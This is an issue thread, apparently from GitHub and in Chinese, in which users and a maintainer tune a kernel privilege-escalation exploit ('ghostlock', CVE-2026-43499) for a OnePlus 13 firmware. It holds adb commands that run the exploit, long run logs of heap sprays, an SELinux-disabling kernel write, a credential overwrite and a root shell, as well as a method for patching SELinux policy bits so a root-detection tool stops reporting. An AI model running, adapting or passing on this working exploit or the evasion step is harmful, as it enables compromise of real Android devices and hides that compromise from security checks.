一加13

[aylz10]

boot.zip
能帮忙提取下吗？16.0.2.403版本的
我自己提取的偏移验证失败

[aylz10]

内核版本是
6.6.89-android15-8-gf4dc45704e54-abogki446052083-4k

[aylz10]

使用
https://github.com/Linuxoid-cn/CVE-2026-43499-Poc-Analysis
这个项目可以验证提权成功，可以获取root权限，但是所有app都打不开了，不知道怎么样解决

[JoinChang]

内核 offsets 已提取并推送到 main：56b2d65

[aylz10]

I:\ksuroot>adb push ghostlock /data/local/tmp/a/e
ghostlock: 1 file pushed, 0 skipped. 128.4 MB/s (106832 bytes in 0.001s)

I:\ksuroot>adb shell chmod 755 /data/local/tmp/a/e

I:\ksuroot>adb shell /data/local/tmp/a/e
[] kernel: 6.6.89-android15-8-gf4dc45704e54-abogki446052083-4k
[+] offsets matched: 6.6.89-android15-8-gf4dc45704e54-abogki446052083-4k
[+] startup context pid=16180 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=16180 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=16180 label=ghostlock_oneplus slide=pselect main=pselect
[+] p0 profile pid=16180 phys_offset=0000000080000000 kernel_phys_load=00000000a8000000 delta=0000000028000000 slide_logger=ffffff802a4021a0 bootid_data=ffffff802a6aa868 init_task=ffffff802a40cf00 root_tg=ffffff802a63d580 sysctl_bootid=ffffff802a6aa868
[] [T+0ms] exploit start
[] [T+132ms] pre-W1 drain
[] Write 1 attempt 1/5
[] === W1: SELinux === target=0xffffff802a3490e0 mode=1
[] [T+133ms] heap spray start
[] prepare_kernel_page ok attempt=1
[] [T+3116ms] heap spray done
[*] pselect route setup attempt=1 simple=0 page=ffffff8a8bc18000 fake_lock=ffffff8a8bc18000 fake_w0=ffffff8a8bc18300 fake_task=ffffff8a8bc18400 in0=0000000000000000 in3=0000000000000000 out0=0000000000000001 ex0=0000000000000001 ex1=0000000000000000 ex2=ffffff8a8bc18400 ex3=ffffff8a8bc18000

测试失败了，到这步后手机就重启了

[JoinChang]

拉取最新代码重新编译，运行时加 PSELECT_SHIFT=-2：

PSELECT_SHIFT=-2 /data/local/tmp/a/e

开机后30秒内通过 adb shell 运行。

[aylz10]

I:\ksuroot>adb push ghostlock /data/local/tmp/a/e
ghostlock: 1 file pushed, 0 skipped. 131.4 MB/s (106880 bytes in 0.001s)

I:\ksuroot>adb shell chmod 755 /data/local/tmp/a/e

I:\ksuroot>adb shell PSELECT_SHIFT=-2 /data/local/tmp/a/e
[] kernel: 6.6.89-android15-8-gf4dc45704e54-abogki446052083-4k
[+] offsets matched: 6.6.89-android15-8-gf4dc45704e54-abogki446052083-4k
[+] startup context pid=14806 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=14806 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=14806 label=ghostlock_oneplus slide=pselect main=pselect
[+] p0 profile pid=14806 phys_offset=0000000080000000 kernel_phys_load=00000000a8000000 delta=0000000028000000 slide_logger=ffffff802a4021a0 bootid_data=ffffff802a6aa868 init_task=ffffff802a40cf00 root_tg=ffffff802a63d580 sysctl_bootid=ffffff802a6aa868
[] [T+0ms] exploit start
[] [T+123ms] pre-W1 drain
[] Write 1 attempt 1/5
[] === W1: SELinux === target=0xffffff802a3490e0 mode=1
[] [T+123ms] heap spray start
[] prepare_kernel_page ok attempt=1
[] [T+2592ms] heap spray done
[] pselect route setup attempt=1 simple=0 shift=-2 page=ffffff8a966e0000 fake_lock=ffffff8a966e0000 fake_w0=ffffff8a966e0300 fake_task=ffffff8a966e0400 in0=0000000000000000 in3=0000000000000001 out0=0000000000000000 ex0=ffffff8a966e0400 ex1=ffffff8a966e0000 ex2=0000000000000003 ex3=0000000000000000
[] pselect pre-select +0ms
[] pselect post-select +0ms ret=8
[] pselect returned attempt=1 ret=8 errno=0 calls=1 success=1 delay=0
[] pselect route probing cfi attempt=1 ret=8 expected=9
[] pselect route done calls=1 success=1 step=0 errno=0
[] [T+3595ms] PI route done
[+] SELinux DISABLED
[] [T+3696ms] Write 1 complete
[] [T+3863ms] pre-W2 drain
[] perf task: 0xffffff8978a092c0 (56/256 votes)
[] [T+3936ms] perf_find_task done
[] child_pid=21302 child_task=0xffffff8978a092c0
[] round 1/10: cred write
[] === W2: cred === target=0xffffff8978a09bc0 mode=2
[] [T+4090ms] heap spray start
[] prepare_kernel_page ok attempt=1
[] [T+6801ms] heap spray done
[] pselect route setup attempt=1 simple=0 shift=-2 page=ffffff8984c08000 fake_lock=ffffff8984c08000 fake_w0=ffffff8984c08300 fake_task=ffffff8984c08400 in0=0000000000000000 in3=0000000000000001 out0=0000000000000000 ex0=ffffff8984c08400 ex1=ffffff8984c08000 ex2=0000000000000003 ex3=0000000000000000
[] pselect pre-select +0ms
[] pselect post-select +200ms ret=9
[] pselect returned attempt=1 ret=9 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[] [T+8007ms] PI route done
[] child uid = 2000
[] round 2/10: cred write
[] === W2: cred === target=0xffffff8978a09bc0 mode=2
[] [T+8258ms] heap spray start
[] prepare_kernel_page ok attempt=1
[] [T+11482ms] heap spray done
[] pselect route setup attempt=1 simple=0 shift=-2 page=ffffff8995ba0000 fake_lock=ffffff8995ba0000 fake_w0=ffffff8995ba0300 fake_task=ffffff8995ba0400 in0=0000000000000000 in3=0000000000000001 out0=0000000000000000 ex0=ffffff8995ba0400 ex1=ffffff8995ba0000 ex2=0000000000000003 ex3=0000000000000000
[] pselect pre-select +1ms
[] pselect post-select +201ms ret=9
[] pselect returned attempt=1 ret=9 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[] [T+12689ms] PI route done
[] child uid = 2000
[] round 3/10: cred write
[] === W2: cred === target=0xffffff8978a09bc0 mode=2
[] [T+12941ms] heap spray start
[] prepare_kernel_page ok attempt=1
[] [T+17892ms] heap spray done
[] pselect route setup attempt=1 simple=0 shift=-2 page=ffffff8a9f750000 fake_lock=ffffff8a9f750000 fake_w0=ffffff8a9f750300 fake_task=ffffff8a9f750400 in0=0000000000000000 in3=0000000000000001 out0=0000000000000000 ex0=ffffff8a9f750400 ex1=ffffff8a9f750000 ex2=0000000000000003 ex3=0000000000000000
[] pselect pre-select +0ms
[] pselect post-select +201ms ret=9
[] pselect returned attempt=1 ret=9 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[] [T+19095ms] PI route done
[] child uid = 2000
[] round 4/10: cred write
[] === W2: cred === target=0xffffff8978a09bc0 mode=2
[] [T+19433ms] heap spray start
[] prepare_kernel_page ok attempt=1
[] [T+27508ms] heap spray done
[] pselect route setup attempt=1 simple=0 shift=-2 page=ffffff89a99c0000 fake_lock=ffffff89a99c0000 fake_w0=ffffff89a99c0300 fake_task=ffffff89a99c0400 in0=0000000000000000 in3=0000000000000001 out0=0000000000000000 ex0=ffffff89a99c0400 ex1=ffffff89a99c0000 ex2=0000000000000003 ex3=0000000000000000
[] pselect pre-select +0ms
[] pselect post-select +201ms ret=9
[] pselect returned attempt=1 ret=9 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[] [T+28715ms] PI route done
[] child uid = 2000
[] round 5/10: cred write
[] === W2: cred === target=0xffffff8978a09bc0 mode=2
[] [T+30268ms] heap spray start
[] prepare_kernel_page ok attempt=1
[] [T+35425ms] heap spray done
[] pselect route setup attempt=1 simple=0 shift=-2 page=ffffff8a28940000 fake_lock=ffffff8a28940000 fake_w0=ffffff8a28940300 fake_task=ffffff8a28940400 in0=0000000000000000 in3=0000000000000001 out0=0000000000000000 ex0=ffffff8a28940400 ex1=ffffff8a28940000 ex2=0000000000000003 ex3=0000000000000000
[] pselect pre-select +0ms
[] pselect post-select +200ms ret=9
[] pselect returned attempt=1 ret=9 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[] [T+36629ms] PI route done
[] child uid = 2000
[] round 6/10: cred write
[] === W2: cred === target=0xffffff8978a09bc0 mode=2
[] [T+38293ms] heap spray start
[] prepare_kernel_page ok attempt=1
[] [T+43874ms] heap spray done
[] pselect route setup attempt=1 simple=0 shift=-2 page=ffffff8aa0f18000 fake_lock=ffffff8aa0f18000 fake_w0=ffffff8aa0f18300 fake_task=ffffff8aa0f18400 in0=0000000000000000 in3=0000000000000001 out0=0000000000000000 ex0=ffffff8aa0f18400 ex1=ffffff8aa0f18000 ex2=0000000000000003 ex3=0000000000000000
[] pselect pre-select +0ms
[] pselect post-select +201ms ret=9
[] pselect returned attempt=1 ret=9 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[] [T+45080ms] PI route done
[] child uid = 2000
[] round 7/10: cred write
[] === W2: cred === target=0xffffff8978a09bc0 mode=2
[] [T+46840ms] heap spray start
[] prepare_kernel_page ok attempt=1
[] [T+51141ms] heap spray done
[] pselect route setup attempt=1 simple=0 shift=-2 page=ffffff8ab7c60000 fake_lock=ffffff8ab7c60000 fake_w0=ffffff8ab7c60300 fake_task=ffffff8ab7c60400 in0=0000000000000000 in3=0000000000000001 out0=0000000000000000 ex0=ffffff8ab7c60400 ex1=ffffff8ab7c60000 ex2=0000000000000003 ex3=0000000000000000
[] pselect pre-select +0ms
[] pselect post-select +201ms ret=9
[] pselect returned attempt=1 ret=9 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[] [T+52346ms] PI route done
[] child uid = 2000
[] round 8/10: cred write
[] === W2: cred === target=0xffffff8978a09bc0 mode=2
[] [T+54243ms] heap spray start
[] prepare_kernel_page ok attempt=1
[] [T+60040ms] heap spray done
[] pselect route setup attempt=1 simple=0 shift=-2 page=ffffff898b0c0000 fake_lock=ffffff898b0c0000 fake_w0=ffffff898b0c0300 fake_task=ffffff898b0c0400 in0=0000000000000000 in3=0000000000000001 out0=0000000000000000 ex0=ffffff898b0c0400 ex1=ffffff898b0c0000 ex2=0000000000000003 ex3=0000000000000000
[] pselect pre-select +0ms
[] pselect post-select +201ms ret=9
[] pselect returned attempt=1 ret=9 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[] [T+61245ms] PI route done
[] child uid = 2000
[] round 9/10: cred write
[] === W2: cred === target=0xffffff8978a09bc0 mode=2
[] [T+63247ms] heap spray start
[] prepare_kernel_page ok attempt=1
[] [T+66721ms] heap spray done
[] pselect route setup attempt=1 simple=0 shift=-2 page=ffffff8034360000 fake_lock=ffffff8034360000 fake_w0=ffffff8034360300 fake_task=ffffff8034360400 in0=0000000000000000 in3=0000000000000001 out0=0000000000000000 ex0=ffffff8034360400 ex1=ffffff8034360000 ex2=0000000000000003 ex3=0000000000000000
[] pselect pre-select +0ms
[] pselect post-select +0ms ret=8
[] pselect returned attempt=1 ret=8 errno=0 calls=1 success=1 delay=0
[] pselect route probing cfi attempt=1 ret=8 expected=9
[] pselect route done calls=1 success=1 step=0 errno=0
[] [T+67728ms] PI route done
[] child uid = 2000
[] round 10/10: cred write
[] === W2: cred === target=0xffffff8978a09bc0 mode=2
[] [T+69401ms] heap spray start
[] prepare_kernel_page ok attempt=1
[] [T+73363ms] heap spray done
[] pselect route setup attempt=1 simple=0 shift=-2 page=ffffff8993828000 fake_lock=ffffff8993828000 fake_w0=ffffff8993828300 fake_task=ffffff8993828400 in0=0000000000000000 in3=0000000000000001 out0=0000000000000000 ex0=ffffff8993828400 ex1=ffffff8993828000 ex2=0000000000000003 ex3=0000000000000000
[] pselect pre-select +0ms
[] pselect post-select +200ms ret=9
[] pselect returned attempt=1 ret=9 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[] [T+74565ms] PI route done
[*] child uid = 2000
[!] failed after 10 rounds

I:\ksuroot>

有进展了，现在可以成功宽容了，但是还是没法成功越狱
ReSukiSU管理器上显示
SELinux状态 宽容模式
Seccomp状态 过滤模式

[JoinChang]

推了个新版本，你重新编译一下然后在开机后运行这个看看：

PSELECT_SHIFT=-2 /data/local/tmp/a/e

[aylz10]

I:\ksuroot>adb shell PSELECT_SHIFT=-2 /data/local/tmp/a/e
[] kernel: 6.6.89-android15-8-gf4dc45704e54-abogki446052083-4k
[+] offsets matched: 6.6.89-android15-8-gf4dc45704e54-abogki446052083-4k
[] init_cred image=ffffffc082120a48 alias=ffffff802a120a48
[+] startup context pid=13659 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=13659 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=13659 label=ghostlock_oneplus slide=pselect main=pselect
[+] p0 profile pid=13659 phys_offset=0000000080000000 kernel_phys_load=00000000a8000000 delta=0000000028000000 slide_logger=ffffff802a4021a0 bootid_data=ffffff802a6aa868 init_task=ffffff802a40cf00 root_tg=ffffff802a63d580 sysctl_bootid=ffffff802a6aa868
[] p0 kernel_phys_load=00000000a8000000 delta=0000000028000000
[] [T+0ms] exploit start
[] [T+297ms] pre-W1 drain
[] Write 1 attempt 1/5
[] === W1: SELinux === target=0xffffff802a3490e0 mode=1
[] [T+298ms] heap spray start
[] prepare_kernel_page ok attempt=1
[] [T+4273ms] heap spray done
[] pselect route setup attempt=1 simple=0 shift=-2 page=ffffff88d0750000 fake_lock=ffffff88d0750000 fake_w0=ffffff88d0750300 fake_task=ffffff88d0750400 in0=0000000000000000 in3=0000000000000001 out0=0000000000000000 ex0=ffffff88d0750400 ex1=ffffff88d0750000 ex2=0000000000000003 ex3=0000000000000000
[] pselect pre-select +0ms
[] pselect post-select +0ms ret=8
[] pselect returned attempt=1 ret=8 errno=0 calls=1 success=1 delay=0
[] pselect route probing cfi attempt=1 ret=8 expected=9
[] pselect route done calls=1 success=1 step=0 errno=0
[] [T+5275ms] PI route done
[+] SELinux DISABLED
[] [T+5376ms] Write 1 complete
[] [T+5561ms] pre-W2 drain
[] perf task: 0xffffff885457a580 (60/256 votes)
[] [T+5634ms] perf_find_task done
[] child_pid=21702 child_task=0xffffff885457a580
[] round 1/10: cred write
[] === W2: cred === target=0xffffff885457ada0 mode=2
[] [T+5775ms] heap spray start
[] prepare_kernel_page ok attempt=1
[] [T+8623ms] heap spray done
[] pselect route setup attempt=1 simple=0 shift=-2 page=ffffff89a64a8000 fake_lock=ffffff89a64a8000 fake_w0=ffffff89a64a8300 fake_task=ffffff89a64a8400 in0=0000000000000000 in3=0000000000000001 out0=0000000000000000 ex0=ffffff89a64a8400 ex1=ffffff89a64a8000 ex2=0000000000000003 ex3=0000000000000000
[] pselect pre-select +0ms
[] pselect post-select +200ms ret=9
[] pselect returned attempt=1 ret=9 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[] [T+9831ms] PI route done
[] child uid = 0
[+] child is root!
[+] root shell pid=27639 uid=0
[] ksud: /data/app/~~19FPPnwXbKm-dIaxzwMHGA==/com.resukisu.resukisu-PuLo5y1q7hwAaXV8NU2xzw==/lib/arm64/libksud.so
[] KMI= android15-6.6
[] ksud late-load --kmi android15-6.6
[] ksud pid=27703
[] [T+11888ms] exploit complete
[] waiting for su...

I:\ksuroot>

越狱成功了，但是无法连接网络，把selinux切换成宽容模式才可以上网，但是如果再切换成严格 还是无法连接网络
软重启过了也不行

[JoinChang]

网络问题是因为 SELinux 从宽容切回严格后，部分网络相关的 SELinux context 没有正确恢复。试试：

su -c 'setenforce 0 && load_policy /sys/fs/selinux/policy && setenforce 1'

[byemaxx]

• Direct PI Write 模式在6.6.89测试没问题,但是结束后 load_policy /sys/fs/selinux/policy 会造成Hunter 检测报告 netlink Find Permission, 推测是重新加载 /sys/fs/selinux/policy 导出的policy丢失 netlink_route_getlink 配置状态，在load_policy 前修改policy中 config 的 0xC0000000 再加载可解决

• UMH 在pselect pre-select 时候一直会重启

[JoinChang]

• Direct PI Write 模式在6.6.89测试没问题,但是结束后 load_policy /sys/fs/selinux/policy 会造成Hunter 检测报告 netlink Find Permission, 推测是重新加载 /sys/fs/selinux/policy 导出的policy丢失 netlink_route_getlink 配置状态，在load_policy 前修改policy中 config 的 0xC0000000 再加载可解决
• UMH 在pselect pre-select 时候一直会重启

1.试下ksud sepolicy patch看看可不可行，已推送。如果不行的话想问问你是怎么修改的
2.这个需要crash时的kernel log，你那边可不可以提取

[byemaxx]

• Direct PI Write 模式在6.6.89测试没问题,但是结束后 load_policy /sys/fs/selinux/policy 会造成Hunter 检测报告 netlink Find Permission, 推测是重新加载 /sys/fs/selinux/policy 导出的policy丢失 netlink_route_getlink 配置状态，在load_policy 前修改policy中 config 的 0xC0000000 再加载可解决
• UMH 在pselect pre-select 时候一直会重启

1.试下ksud sepolicy patch看看可不可行，已推送。如果不行的话想问问你是怎么修改的 2.这个需要crash时的kernel log，你那边可不可以提取

1. ksud sepolicy patch还是不行

• 我现在不太确定是不是由于Direct PI Write 引发的这个问题, 我发现即使我使用fastboot oem-xxx 这个方式关闭SElinux然后取得jialbeark后,如果主动load_policy 也会造成hunter报告netlink Find Permission.
• 我的修复方式是: 先把/sys/fs/selinux/policy, 复制到临时文件，然后根据策略头中的 identifier_length 动态计算 config 偏移，config_offset = 12 + identifier_length, 读取原始 config，保留所有已有配置位，只补回 Android Netlink 两个位：
  fixed_config = original_config | 0xC0000000U;其中：0x80000000 Android NETLINK_ROUTE / GETLINK 0x40000000 Android NETLINK_GETNEIGH, 然后将修复值写入临时副本, 最后load 修改的这个policy

2. 关于 UMH 模式重启与崩溃日志

• 无内核崩溃堆栈：清空 logcat 及 DropBox 缓存后重新触发 UMH 模式，设备直接重启。DropBox 及 /sys/fs/pstore/ 中未产生任何 SYSTEM_TOMBSTONE 或内核 Panic 堆栈文件，开机后仅生成一条 SYSTEM_BOOT 记录。
• 捕获到的用户态 SIGSYS 报错：若 UMH 脚本执行 /data/app 路径下 APK 内置的 libksud.so 时，DropBox Tombstone 抓取到明确崩溃堆栈：

  Cmdline: /data/app/.../com.resukisu.resukisu.../lib/arm64/libksud.so feature check adb_root
  Signal: 31 (SIGSYS), Code: 1 (SYS_SECCOMP)
  Cause: seccomp prevented call to disallowed arm64 system call 142
  Registers: x8 = 0x8e (syscall 142)
  Backtrace:
    #00 pc 00000000000b19a4 /apex/com.android.runtime/lib64/bionic/libc.so (syscall+36)
    #01 pc 0000000000367c1c /data/app/.../lib/arm64/libksud.so
  

该报错发生后，系统日志记录到 SystemServer 连续被杀死（PID 3466 -> 19817 -> 10091），触发框架层软重启。